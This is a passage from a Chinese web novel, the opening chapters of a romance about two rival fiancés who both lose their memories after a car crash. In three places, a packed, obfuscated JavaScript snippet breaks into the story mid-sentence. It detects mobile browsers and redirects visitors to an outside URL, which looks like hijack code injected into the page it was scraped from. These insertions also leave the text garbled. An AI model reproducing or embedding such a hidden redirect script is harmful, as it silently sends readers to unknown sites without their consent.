《死对头双双失忆后》 1. 第一章 七八月的天,热得难睁眼,但架不住各大景区和烈日一样火爆,人山人海,一眼过去看不见风景,全是乌泱泱的人头。 此等景象在崎岖的山道上更是壮观,因为爬不动,根本爬不动。 太热了,汗水顺着夏时冷白的面颊滴落,他把登山杖扔给旁边的人,从兜里摸出根皮筋,把自己脑后不长的狼尾勉强扎了起来,头顶烈日,他不禁发问:“当初为什么会选爬山呢?” 是空调房不香还是西瓜不甜,还是脑子进水了呢? “谁知道,”旁边的祁言也热,在夏时把头发扎好后把登山杖递了回去:“一开始是谁决定要爬山的?” 夏时:“你。” 祁言不背锅:“明明是你。” “你。” “你。” 两人一个比一个嘴硬,“你”了半天,锅没分好,反而更加口干舌燥浪费水分。 祁言哈了一声,扭头看向面颊已经被晒出薄红的小少爷:“怎么,你不行了?” 夏时反唇相讥:“是你自己撑不住了吧?” “怎么可能,”祁言捏紧手里的登山杖,“我背着你爬完都没问题。” 夏时呵呵:“追得上我再说吧。” 他俩一边怼,一边越走越快,越走越快,细长的登山杖原本一敲一顿,这下好了,在他俩手里直接舞出了残影,游客们只见两个小帅哥肩并肩腿比腿,风似的刮了出去,眨眼就没了踪影。 爬得要死不活的游客们目瞪口呆。 这、这是爬山还是竞走啊,年轻人体力也太好了,不累吗? 不累……那是不可能的。 但夏时和祁言愣是谁也不服输,你超我一步我马上越你两步,身影交替前前后后,气喘吁吁也绝不喊停,直到脚步重重踩上下一个服务点前最后的台阶,两人一口气吐出来,当场喘成了破风箱。 “呼,我,我先到的。”夏时弯下腰,气儿都没喘匀,抢先一步宣布自己的胜利。 “胡——说,”同样半死不活的祁言努力吸气,“我,左脚先落地,”他直起腰来,“赢的是我。” 夏时实在不想多费口舌了,抗议的方式是拿登山杖泄愤似地往祁言那边一戳。 祁言优雅地把登山杖转了圈,没让夏时戳到,他先一步把气息拉匀了,扬起胜利者的笑:“别不服输啊,找个位置歇着,我去买水。” 带来的水都已经在中途喝空了,夏时口干舌燥,热得快虚脱,没打算跟自己过不去,找了个位置坐下,等着祁言。 夏时盯着祁言排队的背影,谁输了谁就去买水,所以赢的是他输的是祁言,没毛病。 夏时满意的在自己胜利上再记一笔。 他找了个树荫下的好位置,灼热的阳光终于离开了皮肤,山上也比山下凉快,过度的热气降了下去,夏时总算觉得舒服不少,跟祁言较起的那股劲儿也跟着散了。 其实每次冷静下来,事后想想,都会觉得跟祁言掰手腕的行为傻得可以。 但他俩从幼儿园到大学一路都是这么比过来的,次次反省,下次继续,改不了,根本改不了。 学习上,夏时和祁言不是第一就是第二;体育方面,别管什么项目总之暴打对方准没错;上午夏时学了钢琴,下午祁家也会请来音乐老师;今天祁言练了毛笔,明天夏家就有书法大家出没。 就连打个娱乐游戏,他俩都要互拼KDA,斗个你死我活。 总之就是卷,非常卷,他俩已经是朋友眼中公认的死亡对抗路,那战斗气氛,旁边人连看都不敢多看一眼,生怕被大神余波随手震碎。 卷成这样,他们肯定是死对头没得跑。 但不巧的是,十八岁那年,他俩成了未婚夫夫。 当夏家和祁家父母高高兴兴商量联姻时,夏时和祁言不可置信,呆若木鸡。 怎么就会发展成联姻呢? 最重要的是,他俩当时怎么就答应了呢?? 真的,但凡夏时和祁言其中有一人说声“不”,他俩的婚约都成不了。 偏偏他们当时居然没一个人反对。 夏时后来仔细复盘,觉得是祁言看向自己的眼神起了决定性作用。 当时祁言在震惊后回神,定定看向自己,目光渐渐变得郑重、专注,还带了很多复杂情绪,莫名看得夏时心头一颤。 然而他心跳才刚刚加速,就见祁言好像想通了什么,放松神色后,意味深长看向了他。 夏时的心脏咯噔一下又稳稳落了回去。 挑衅,他得出结论,祁言的眼神绝对是赤果果地挑衅! 不就是联姻吗,以为他怕了会先认怂?不可能,绝对不可能! 夏时当场就瞪了回去,祁言笑他也笑,祁言点头他也点头,完全没在怕的。 两家父母最后一次询问意见时,夏时笑得脸都快僵了,努力维持嘴角:“订婚而已,我可以。” 祁言:“他可以,那我自然更可以。” 于是父母们愉快拍板,婚约敲定,夏时和祁言也从彼此单纯的死对头,变成了死对头兼男朋友。 没错,答应联姻的原因就是这样。 ……反正不会是别的理由。 还能有什么原因?夏时望着头顶斑驳的树荫想,总不能因为祁言这个人。 祁言在家长眼里懂事,在同学眼中可靠,小小年纪处事周到,讲话好听,就只在他面前不当人,经常惹到他,祁言除了长得帅一点身材好一点、情商高一点耐心多一点,以及还挺会照顾人以外,还有什么优点? 跟自己差远了。 就连他的长相跟自己一比也…… 夏时停了停,好吧,实话实说,长得比自己就差了那么一点点吧。 不是夏时自恋,他长相的确出挑,五官精致,一双桃花眼非常漂亮,笑起来时里面落了光,他发丝略长,一点狼尾软软在脖颈处扫过,发型配合五官,无论装乖还是耍酷都效果拔群,全看他自己想演个什么模样。 祁言的帅跟夏时不是一款的。 但祁言也就这样了,那家伙就是个多年朝夕相处结果连别人心思也搞不清楚的—— “帅哥。” 突然响起的声音,夏时抬头,面前多了三个陌生人。 三位是来搭讪的,热情洋溢,其中一个递了瓶水过来:“你好,能认识一下嘛,请你喝咖啡啊,刚买的,还冰着呢。” 三人很面善,可惜夏时没有那个意思,也不准备收陌生人的水,他正要礼貌拒绝,脸颊边就被个凉爽的瓶子一贴。 “他不喝冰的,不喝咖啡,嘴叼着呢,”买完水回来的祁言噙着笑,自然大方地加入对话,“难伺候得很,只怕要浪费你们的好意了。” 三人眼睛一亮:哇,又一个帅哥! 他们还没放弃,把新目标也纳进来:“那帅哥你喝不喝?” “咖啡谁不喜欢,我当然喝,”祁言果然很会说话,哪怕是拒绝也不落人面子,“不过我自己买了,管够。” 夏时拿过祁言贴在自己面颊边的水,朝他们扬起一个笑:“谢谢啊,但不好意思了。” 三人猝不及防被夏时的笑正中红心:他笑得好好看啊啊啊! 就像是阳光下一口海盐味的汽水,咕噜噜冒着气泡,舒爽清新,全是夏天的味道。 被拒绝的三人组红着脸满足地走了,祁言喝了口电解质水:“不愧是你,笑一笑就把人迷得五迷三道。” “那还得是你,”夏时桃花眼微微一搭,只一个简单动作,眨眼就让气泡水似的表情换了口味,半点不吃亏呛回去,“两三句话就能把男男女女哄得晕头转向,结果到头谁也没放心上。” 夏时手里也是瓶电解质水,伸手一拧,就发现瓶盖已经提前被祁言拧松了,他垂着的眼神动了动,不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16519502|186262||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着痕迹放松力道,余光扫过祁言重新鼓起来的单肩包:“你买了咖啡?” “没,这里卖的咖啡不好喝。”祁言说,“果汁还行,买了点。” 夏时顿了顿:“噢……” 祁言喜欢咖啡,夏时则喜欢甜的,所以,果汁是给夏时买的。 好吧,夏时垂眸,默默喝了点水补充体力,在热气腾腾的心跳声里承认,祁言还是有那么点可取之处的。 等歇得差不多,祁言拿出手机调整摄像头:“拍一张,待会儿发群里给爸妈看。” 夏时嗯了一声凑过去,咔擦声响,拍了他俩同框的照片。 订婚后一年来,他们私下的相处模式没有变化,该怼怼,该掐掐,只有在父母面前,从假装友谊第一变成了假装甜甜蜜蜜,同框的照片,更像是打卡任务,好上传到“相亲相爱一家人”群里。 他俩都斗到十九岁,斗成习惯了,除非脑子刷新,否则这辈子应该停不下来了。 就一直这么过,好像也不是不行。 夏时喝完了一瓶水,扔进垃圾桶:“下山坐缆车吧。” 这回两人是发自内心统一战线,没准备顶着太阳继续伤敌一千自损一万,说明他们脑子清醒的时候,还是很清醒的。 出景区后他们打了个车,爬山真是个非常消磨体力的活儿,两人都没什么精力拌嘴,场面难得十分和平。 夏时埋头看手机,刷到朋友圈好友动态,顺手点了个赞,下一秒,祁言也跟着来了个小红心。 “他们玩得很高兴啊。”祁言说。 夏时:“地方看着不错。” 祁言用眼角余光偷偷瞥向夏时,装作不经意道:“那下次……” 他话还没说完,却突然看到了什么,瞳孔皱缩! “小心!” 夏时还不知道发生了什么,就被祁言猛地一拽,死死抱住扑倒。 从他的位置看不见,但祁言却已经看到了失控撞过来的车。 几乎在祁言扑过来的同时,夏时听到了“砰”地一声巨响,极短的时间内他也立刻反应过来,出事了,然后……他做了和祁言一样的决定。 他用力抱住了祁言,想把他带离冲击最强的位置。 危险来临时,下意识反应不会骗人,而他们两个,同一时间想的都是护住对方。 明明先前争锋相对好像水火不容的也是他们。 巨大的声响几乎顺着骨头在耳朵边炸开,颠簸停止后,夏时脑子被震得一片嗡鸣,神志不清,他甚至感觉不到痛不痛,眼前天旋地转混乱不堪,隐隐约约听到惊叫,像隔着沉甸甸的水,遥远又模糊。 夏时艰难动了动手臂,下意识觉得自己一定要抓住…… 抓住谁? 他心脏重重一跳。 紧接着,夏时眼前彻底陷入一片黑暗,失去意识晕了过去。 * 意识回笼的时候,首先听到的是清晰的蝉鸣,节奏十足此起彼伏,是大自然的交响乐,也……非常扰民。 ……好吵。 夏时试图找出噪音源头,艰难地想睁开眼,但阳光太晃,他眼睑开开阖阖好几次后,才终于能看得清东西了。 迎接他的是护士灿烂的笑:“你醒啦?” 夏时愣愣看了看她的脸和穿着打扮。 护士?他在医院? 发生什么事了,怎么完全想不起来。 还有…… 夏时:“请问……” 护士微笑:“嗯?” 夏时:“我是谁?” 护士的微笑瞬间僵住。 这时候旁边床位传来一声低哑的、刚刚悠悠转醒的声音:“……带我一个,我也想问问,我谁来着?” 护士猛地一把拍下了呼叫铃。 “医生——!” 大事不妙,新来的两个病人的脑子出问题了! 2. 第二章 在护士的呼叫下,医生来得很快。 夏时迎接了多种检查,满头雾水出去,一脸震惊回来,从床头病人铭牌和医生口中,他确认了自己的名字:夏时。 目前初步判定,他失忆了。 还是正儿八经、不是玩梗的那种选择性失忆。 医生忧心忡忡:“你们还需要填一下认知表格,测验一下失忆程度……还认字吗?” 夏时哽了哽:“认识,而且能写。” 他是失忆了,不是傻了。 夏时还记得自己年方十九,是A大大二学生,记得1+1=2和高等数学,各种生活技巧和知识技术都没问题,但想不起自己的名字和身边的人,应该还忘掉了不少其他事。 过去的记忆并不连贯,就像独自走在一座吊桥上,周围白茫茫一片,空荡荡的,回头看,只能看到断断续续的木板,让人不禁怀疑他是怎么走过来的。 夏时填好了表,交给医生后,没忍住偷偷看向了隔壁床位。 这是一间私立医院的双人病房,装潢用了不少暖色调,致力于让病人舒心,床头摆着新鲜的花,病房里除了夏时,还有另一个病友。 病友的床头铭牌写着“祁言”。 先前出声的就是他,也失忆了,夏时感概:不愧是同一个病房的室友,症状都这么雷同。 祁言性别男,看模样跟他差不多年纪,此刻靠坐在床头填表,颜值很高,是个英俊逼人的大帅哥,剑眉星目,从侧面能清晰观摩他优渥高挺的鼻梁,以及锋利英俊的下颌线,即便穿着病号服一条胳膊还打着石膏,都毫不折损他的帅气。 长得不错,夏时边看边想,就比我差了那么一点点吧。 没错,他连名字都忘了,但是记得自己镜子和照片里长什么样。 这失忆就失得非常灵性。 夏时记得由于长相不错,自己在学校还挺受欢迎,虽然同学们的脸他现在一个也想不起来,不过高中的时候好像有一回,因为一封别人递给他的情书,还整出过闹剧,就是…… 是什么来着? 专注回忆的夏时骤然卡壳。 他的大脑皮层突然变得平滑,记忆嘎嘣断层,无论如何都想不起接下来的剧情。 你知道像什么吗,就像你追剧追到一半,津津有味,刚抓起瓜子汽水准备迎来剧情高/潮,屏幕突然咵嚓一下给你剪没了,并且弹出的提示不是敬请期待下周更新,而是不好意思亲我们断更了,更新时间不定哦~ 硬了,拳头硬了。 夏时深呼吸。 但播放器是自己的大脑,他又不可能给自己来一拳。 算了,还是继续欣赏室友吧。 夏时瞧着室友专心填表的侧脸,也不知道这位室友会不会跟他一样有点不安。 没错,醒来后的情况让夏时其实很紧张,陌生地方陌生的人,尤其还是医院这种本身自带紧张感的地方,他虽然从容配合医生护士,可表面的淡定全是防御机制,硬装出来的。 他远没有自己表现出来的那么镇定。 室友长得踩在了夏时审美点上,原本只是为了转移注意力随便看上那么一看,结果这一看,夏时忍不住看了一眼、又看第二眼。 来来回回好几次后,夏时告诉自己,可以了可以了,也没什么好看的了。 ……嗯,再看一眼,最后一眼。 岂料这一次他刚扭头,帅哥室友突然抬眼,把夏时的目光抓了个正着。 察觉夏时来来回回看了自己很多眼终于忍不住看回去的祁言:“。” 偷看被逮住的夏时:“……” 四目相对,窗外的蝉突然停止了打鸣,原本就安静的病房莫名更安静了,连空气都仿佛在这一刻顿了下来。 翻译成人话就是:最怕空气突然安静。 夏时耳根在浑身僵硬中瞬间红了个透。 药丸偷看被逮了个正着!!! 祁言瞄了眼夏时泛红的耳根,像是觉得有趣,轻笑一声,转了转手里的笔:“这位同学。” 他猜夏时应该跟自己年纪相当,选了个不容易出错的称呼:“我脸上是有什么东西吗?” 有点好看。 土味情话是不可能讲的,夏时反应不可谓不快,眉眼一动就变出个得体的微笑:“没有,就是想跟室友打个招呼,你好?” 他充分发挥自己外貌优势,看着乖得很。 祁言搁下笔,也笑得很礼貌:“你好。” 夏时于是顺利地收回了视线,仿佛什么都没发生,他躺下,翻身,好像又困了想睡觉,动作非常自然。 然后…… 他悄悄拉高被子,盖住了烫熟的耳朵。 夏时:——救命!尴了个大尬!!! 这要是没外人在,他绝对已经缩进被窝里把自己卷成蛄蛹者了。 夏时失忆的小脑瓜疯狂转动:我刚刚眼神没有很怪吧,室友不会觉得我莫名其妙吧?可我其实也没做什么,大家都是同个屋檐下的失忆患者好奇一下实乃人之常情—— 他慌得乱七八糟,丝毫不知道此刻被偷看……哦不,被光明正大盯着的人换成了他自己。 风水轮流转,祁言饶有兴味盯着病床上一团:哟,小同学偷看被抓包,害羞了。 装得那么镇定,结果防御这么低啊,耳朵也红得太快了。 好看,爱看,有趣。 而且……祁言总觉得夏时给他一种奇异的熟悉感。 夏时是不是有同样的感觉,才会一直忍不住看他?他们失忆之前,该不会认识吧? 医生看完了他俩的表格,开口打断了他们看来看去的戏码。 “你们的神经系统没有重大损伤,失忆症状明显,从检查和测试结果看万幸并未影响基本生活,要是运气好,记忆会逐步恢复。” 夏时立刻竖起耳朵,悄眯眯又把身翻了回来,看清医生表情的瞬间,夏时懂了他后面未尽的话:要是运气不好,丢的记忆可能这辈子都没法恢复了。 人的大脑结构太复杂,目前的科学技术也无法完全解读,出现各种情况都不奇怪。 理解,理解。 本该理解的。 但夏时抓着被子的手慢慢收紧了。 为什么偏偏是他遇上这种事? 随着医生的宣判,夏时悬着的心被巨大的失落和不安压入谷底,他难过又委屈,强撑的心态摇摇欲坠,在彷徨无措的边缘,他下意识又朝祁言看去。 祁言会是什么反应? 然而祁言听完,却只是微微蹙了蹙眉,随后松开眉头,好像平静地接受了诊断。 夏时:……这么淡定,比我强。 不。 夏时慢慢调整呼吸,试图把心慌压下去,他在祁言的反应里想,别人都能坦然面对,那我也不能输。 这个念头刚冒出来,夏时倏地愣住,一股疑惑涌上:怎么突然比较起来了,我是什么胜负心很重的人吗? 怪了,他直觉自己不是爱论输赢的人。 他应该是友善礼貌很好相处的……吧? 可仔细想想,打睁眼开始,这么短的时间内,从外貌到处事态度, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16519503|186262||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 夏时已经无形中跟祁言暗暗比较了两次了。 不过是选择性失忆而已,人生又没全部忘干净,还能让我性格也出问题了? 夏时刚陷入自我怀疑,门口就传来急促的脚步声,几张焦急的脸随着被推开的门板闯入了病房。 “小时!” “小言!” 夏时和祁言同时抬头。 两对中年夫妇的到来,让安静的病房塞满了人气。 他们分别自称是夏时和祁言的父母,围坐在他们床边。 夏时倒不怀疑面前的这对夫妻是他的爸妈,因为夏时跟他们长得真的很像。 夫妇二人保养得当,人到中年依然光彩照人,衣品也很突出,但约莫是为儿子的事操心,看得出几丝憔悴。 来的路上两边爸妈已经了解过大致情况,此刻再听医生告知详情,都是满面愁容。 这位风韵犹存的女士……也就是夏时的妈妈,抬起了手,似乎想摸摸他的脸,但一看到夏时绷紧的肩膀,顿时怔在半空,又克制地把手收了回去。 他们显然是顾及到了夏时此刻的感受。 夏时轻轻眨了眨眼,心头一暖:啊,原来他是被人在乎着的。 是了,虽然不记得爸妈究竟是怎样的人,但残留的印象里,他应当是在爱中长大的。 独自面对糟糕的事,人会不安,会害怕,可当发现有人真情实感为自己担心,自己反倒没那么怕了。 夏时深吸口气,试探着,小心翼翼握住了妈妈没来得及完全收回的一点指尖。 紧张中带着安慰,明明还有点局促,却又鼓起勇气靠近。 像只害怕陌生人,但努力试着挨过来蹭一蹭的小猫。 女士指尖一颤,愣住了。 夏时抬头,瞳孔里还装着一点不安,努力挤出了微笑,不太习惯地喊了一声:“……妈。” “别担心。” 怔愣的妈妈随即红了眼眶,她匆忙应了,将眼里的泪意压住,同样努力安抚儿子:“嗯……没事,没事,人没大碍就好,忘掉的事我们可以讲给你听,慢慢来,不急。” 他家的小孩儿,总是懂事得让人心疼。 夏时所有的忐忑在父母面前渐渐放下,他整个人松快了许多,焦虑会传染人,放松也一样,三人的表情都缓了不少。 跟医生谈完后,父母和夏时说起了话,说说他们的名字,也讲讲以前的事。 夏时好好记住了父母的名字,这可是他重要之人的姓名,必须得记住。 聊天冲散了愁云,妈妈捏着他的手,柔声:“还有一个对你很重要的人。” 夏时:“嗯嗯!” 是家里哪位长辈?还是人生导师,或者是至交好友? 夏时隐隐期待起来,他猜了一圈,然后听到老妈说: “那就是你的男朋友,祁言。” 一个都没猜对的夏时:“……” 啊!? 什么我居然已经谈恋爱了? 什么我竟然喜欢男的! 偏偏这时候隔壁飘来一句:“还有对你很重要的男友,夏时。” 夏时愕然抬头:等等,“qi yan”难不成是—— 祁言也同时看向了他,今天他们第二次对上视线,双方都看清了彼此瞳孔里的震惊。 ——不会就是你吧?! 父母贴心让出了空隙,用肢体语言告诉他们:是的你男朋友就是他! 好家伙,室友真是我男友。 所以现在的情况是,我和我男朋友同时失忆了?? 3. 第三章 夏时跟祁言红红火火恍恍惚惚,听爸妈你一句我一句,凑出了个青春美好的爱情故事。 在父母口中,两人从幼儿园到大学,那是竹马竹马,两小无猜,感情好得不得了。 而在夏时十八岁生日宴上,大家笑着聊起恋爱相关的事时,两人更是来了句劲爆发言! “喜欢什么样的人?”夏时眼神刀似的往祁某人身上一刮,呵呵,“不知道,别问我,毕竟我非祁言不嫁啊。” 祁言端起酒杯遥遥致敬:“嗯,我也非他不娶。” 本来只是小年轻们一起玩玩的聚会,但这两句话被掐头去尾,简略版不知怎么传入了夏祁两家长辈耳朵里,父母们一拍手:原来他们两情相悦,早说啊! 订婚,必须立刻订婚! 什么你说他们两都是男的? 知根知底,门当户对,最重要的是孩子喜欢,男的又有什么问题。 两个父亲说得绘声绘色,对视一眼,感慨:“青春啊。” 夏时:“……” 祁言:“……” 老父亲们感慨青春,年轻的儿子们已经原地飞升。 夏时很想捂住脸求他老爸别说了,没有记忆不代表被长辈团团围坐公开处刑时不会羞耻啊! 他已经快尬得抠出三室一厅了。 夏时头皮发麻,不是吧,非他不嫁?我说的?我得多喜欢他才能在大庭广众之下说出这么羞耻的话啊! 夏时总觉得哪里不对,但没记忆的劣势又让他无从下手。 祁言欲言又止、止言又欲地翕动了几次嘴,最后一声不吭又闭上了。 夏时分明从他脸上看出了生无可恋几个大字。 两人奇异地产生了灵魂共鸣:朋友,我懂,没有人能在长辈掀开黑历史的情景下全身而退,失忆的人也不行。 让他俩恨不得钻地缝的追加攻击还没结束。 夏时妈妈:“你俩答应订婚后可高兴了,当天就定了旅游计划过二人世界去了。” 祁言妈妈:“还在家人群里发了烛光晚餐的照片。” 母亲们在手机相册里翻出了照片。 夏时看到了那张“烛光晚餐”,照片里餐厅环境很好,从巨大的玻璃落地窗出去还可以遥遥看到江景,桌边摆着鲜花,他笑得很灿烂,祁言也弯着嘴角,场面非常和谐。 光看氛围是张不错的照片,不过两人隔着的距离吧,没到格外亲近的地步,如果不是事先知道他们是情侣,夏时会以为这就是张朋友的合照。 夏时如坐针毡,实在不知道怎么接话,只能干巴巴地笑笑,祁言看了照片,也没发表什么意见。 说实话,夏时和祁言现在的关系处在很微妙的线上。 对失忆的人来说,只要原生家庭正常,亲情还可以靠血缘和户口本快速拉近距离,但没有领证的爱情就不同了,他们双方都忘掉了对彼此的记忆,那他俩和陌生人有什么差别? 年轻人的感情不管是炽烈,还是冲动上头一时莽撞,失去了旧日相处的时光,谁敢保证他们会再度喜欢上对方? 双方父母还在继续。 “小祁对你真的很好,”夏时妈妈想到什么,嗓音哑了哑,“处理现场事故的人告诉我们,他们从车里找到你们的时候,你俩抱在一起,显然都是想护住对方,小祁的手臂也是因此受的伤。” 夏时霎时怔住。 祁言也愣了愣。 夏时和祁言之所以会躺进医院,是因为不幸运到了车祸,对面全责,给他俩开车的司机没事,他俩纯倒霉。 万幸的是除了失忆外,此次事故里他们最重的伤就是祁言手臂轻微骨折,复位后养一养就能恢复如初。 夏时讶异:所以,祁言的手臂是为了保护他才骨折的? 生死关头他们都想护住对方,感情好到这种程度? 祁言也很意外:出了事先不顾自己先顾别人,我这么喜欢他? 两人心情顿时格外复杂,一时间都忍不住想看看对方,但余光察觉对面的脑袋似乎也在扭动时,又都硬生生把视线飞速扭开了。 陌生的两人因为有了“患难与共”的重量,意义突然就又不一样了。 “从小啊,你就跟小夏最聊得来,和他在一起比跟我们在一块儿都开心。”祁言的妈妈也说,“还好在暑假期间,你们有的是时间养伤,先前你俩住在一块儿的决定是对的,现在也方便照应。” 夏时:? 我俩还是住在一起的? 夏家和祁家都有自己的集团公司,有钱,夏时和祁言在大学附近有一栋别墅,他俩住一块。 夏时还记得别墅的位置,不过在他记忆里自己是独居,万万没想到原来屋里还有个男朋友啊。 夏时和祁言还需要留院两天观察情况,两家父母一直留到了傍晚,在医院一起吃过了饭才离开。 离开的时候不是很放心,一步三回头,要不是医生说不需要陪护,给他们一点安静空间更好,父母们怕不是得陪床住下。 他们一走,房间又只剩两位伤患了。 骤然接受了冲击性的事实,两人都还没想好要拿出什么态度来面对自己陌生的现男友。 夏时坐在床头,往左边侧了侧身,然后…… 他又往右翻了翻。 祁言:噗。 他忍了忍,没笑出声,祁言本来也觉得有点难办,脑子里想的不算少,脑补出一堆沉重狗血复杂的可能性,为两个人未来发愁,但看夏时这么局促,不知为何那些乱七八糟的东西反而消失了。 祁言不知道自己从前怎么想,但现在的他对夏时第一印象是:怪可爱的。 夏时有股独特的气质,一眼看去就会觉得是个矜贵着养大的小少爷,但他的举止和一些小动作,又透露着他的纯粹和本真,让人很容易产生好感。 再加上他那张漂亮的脸,追的人肯定排出二里地。 我如果不是占了跟他从小一起长大的便宜,可能未必能当他男朋友,祁言想。 嗯,虽然我也不差就是了。 祁言:不管以后能不能重新在一起,他都不能让夏时难过,毕竟他们有过命的交情了不是? 危机关头都想护住对方,听起来就很感人。 真巧,夏时也是这么想的。 夏时:就冲着祁言为自己伤了的那条胳膊,哪怕以后做不成情侣,他也不能让祁言伤心。 夏时&祁言:不管怎么说,我得对他好点儿! 两人暗暗制订了未来方针,不过眼下问题是,失忆的他们早忘了以前怎么相处的,要如何制造个良好开端呢? 夏时:“那个……” 祁言:“你……” 他们同时开口,又倏地闭嘴。 夏时眨了眨眼,祁言谦让:“你先?” 夏时轻咳一声:“我就是想问问,你觉得房里空调合适吗,需不需要调温度。” 祁言:“噢,我觉得还好,你呢?” 夏时:“我也觉得合适。” “……” 两句话结束,两人大眼瞪小眼。 然后呢? 这就没话啦?? 这怎么行! 夏时:快动啊,嘴巴快动,刚开始就没话聊以后可咋办! 祁言:不是,我应该是个社交恐怖分子,怎么这么简单就能把话题聊死! 于是两人同时张开嘴—— 但当看见对方似乎也有话说,他们又迅速同时闭上了。 你先说你先说。 夏时:?他不是要说话吗? 祁言:??我都看见他张嘴了啊,话呢? 等了一秒后,两人再度同时张嘴。 然而这一次,他们又默契地同时闭上了,分秒不差。 梅开二度。 夏时&祁言:“……” 两人绷不住了:不是,他到底是想说还是不想说啊! 事实证明,有时候脑回路过于默契未必是好事,极有可能产生正正得负的不科学效应,比如此时此刻由于互相谦让,嘴巴动了半天但愣是一句话没有的两人。 如果这时候有护士推门 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16519504|186262||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 进来,怕不是得给他们重新检查一下脑子。 反复两次后,祁言快自己给自己整笑了:这么下去可不行,我先来吧。 他用完好的左手往后抓了把刘海,思考间抬头视线扫过病房,下床走到饮水机边,拿起个杯子:“喝水吗?” “喝。”夏时下意识接完话后才回过神:不对,祁言手还有伤,怎么能让伤患帮他倒水,倒反天罡! 夏时忙掀开被子也要下床:“我来,你手上还有伤呢!” 但祁言已经单手端着一杯水回来了,他把水递到夏时手里,而后施施然转身再去给自己倒:“这不还有一只手嘛,倒个水又不麻烦。” 祁言动作利索,说句话的功夫,就拎着杯子喝上了,夏时错过了最佳帮忙时机,他只好捧着杯子,视线掠过祁言的胳膊:“手还疼吗?” “不疼,小伤。”祁言转身,他靠着柜子站立,姿态放松又优雅,弯弯嘴角,“你要是对着我没那么紧张,我的手肯定好得更快。” 夏时脱口而出:“我没紧张。” 祁言噙着笑:“真的?” 夏时听着祁言轻松佻达的语气,有些意外地抬头。 老实说,祁言三两句话已经推翻了夏时对他的第一印象。 祁言在病床上安静坐着还没说过话时,夏时本来以为他会是那种很有风度,也会冲你笑,但礼貌中肯定会带着疏离,不像是轻易能熟络的类型。 因为夏时敏锐,而祁言就有这样的气质。 但祁言一开口,明显在主动跟他拉近距离。 祁言垂眸瞧着望着自己但不说话的夏时:“同学?” 他把这两个字咬得不轻不重,配上他那把优越的嗓音,能听得人耳朵发软,但夏时反而因此镇定下来:“只是觉得有些意外。” “我还以为你不是愿意轻易跟人深交的类型。” 就像那张看似融洽的“烛光晚餐”,有种只有夏时察觉到的界限分明。 祁言“唔”了一声,不否认:“通常来说是这样。” 他说:“但你对我而言是特殊的,不是吗?” 夏时:! 不是,怎么能有人脸不红气不喘突然开大招啊! 太犯规了! 吓得夏时差点把杯子里的水抖出来。 夏时不觉得自己能在大庭广众下说“非你不嫁”,但他忽然觉得,祁言好像真能直言“非你不娶”。 偏偏祁言刚说的没毛病,没错,他们对彼此来说都很特殊。 订了婚,还在车祸里护着对方。 不过知道归知道,就这么说出来,夏时听着就觉得面颊发烫。 但祁言都把话说到这份上,往前迈步了,他也不能落后。 夏时深呼吸,双手握紧水杯:“嗯,你说得对。” 他做好心理建设,认真看向祁言,夏时眸子颜色偏浅,此刻浅瞳里盛着独特的神采,对视的一瞬间,祁言好像看到了夏夜的星星。 “我们都没了对彼此的记忆,不管能不能找回来,生活总要继续,那从现在开始,我们重新认识一下,”夏时朝他伸出手,舒开笑意,“我叫夏时,请多关照了,室友。” 祁言顿了顿,放下杯子,握住夏时的手:“祁言,彼此彼此。” 终于把独处时的气氛调节到了正常,两人都松了口气,祁言松开手后,余光扫向自己指尖。 夏时说得没错,他不会吝啬对他人释放善意,因为那很简单,但想跟他交心,抱歉,难度挺高。 他不喜欢随便跟人肢体接触,所以方才跟夏时握手前微不可察顿了一下,花了点时间做心理准备。 但握住夏时的手那一刻,祁言意外发现自己准备得有点多余。 夏时掌心的温度与触感不仅没让他感到不适,还让他莫名觉得舒心。 感觉不坏。 祁言捻了捻指尖,除了父母他居然还能跟人毫无反感的接触,和只能从别人口中听到自己的过去不同,此刻他终于有了点实感。 自己以前好像真的有个感情很好的男朋友。 4. 第四章 夏时和祁言倒也没立刻聊个没完,反正他们离了医院也会住在一块儿,有的是时间。 夜幕降临,他们跟当代大部分小年轻一样,选择了娱乐方式:手机。 说娱乐不严谨,毕竟夏时和祁言是要通过手机了解一下自己的某些信息。 他俩原来的手机都在出车祸时坏了,可能飞出窗外不知道砸到哪儿,渣都没找回来,好在重要资料和照片有上传云端,可部分软件的聊天记录就挥手拜拜了。 时值暑假,朋友圈里都是大家在各地旅游的照片,好朋友们也不是天天联系,两人出车祸的消息并没被父母宣扬出去,所以现在他俩的红点消息除了父母刚发来的关心,就剩各种新闻广告推送。 夏时先给爸妈回了消息,然后试图从备注里猜测自己的人际关系。 这其中有一个人特别显眼。 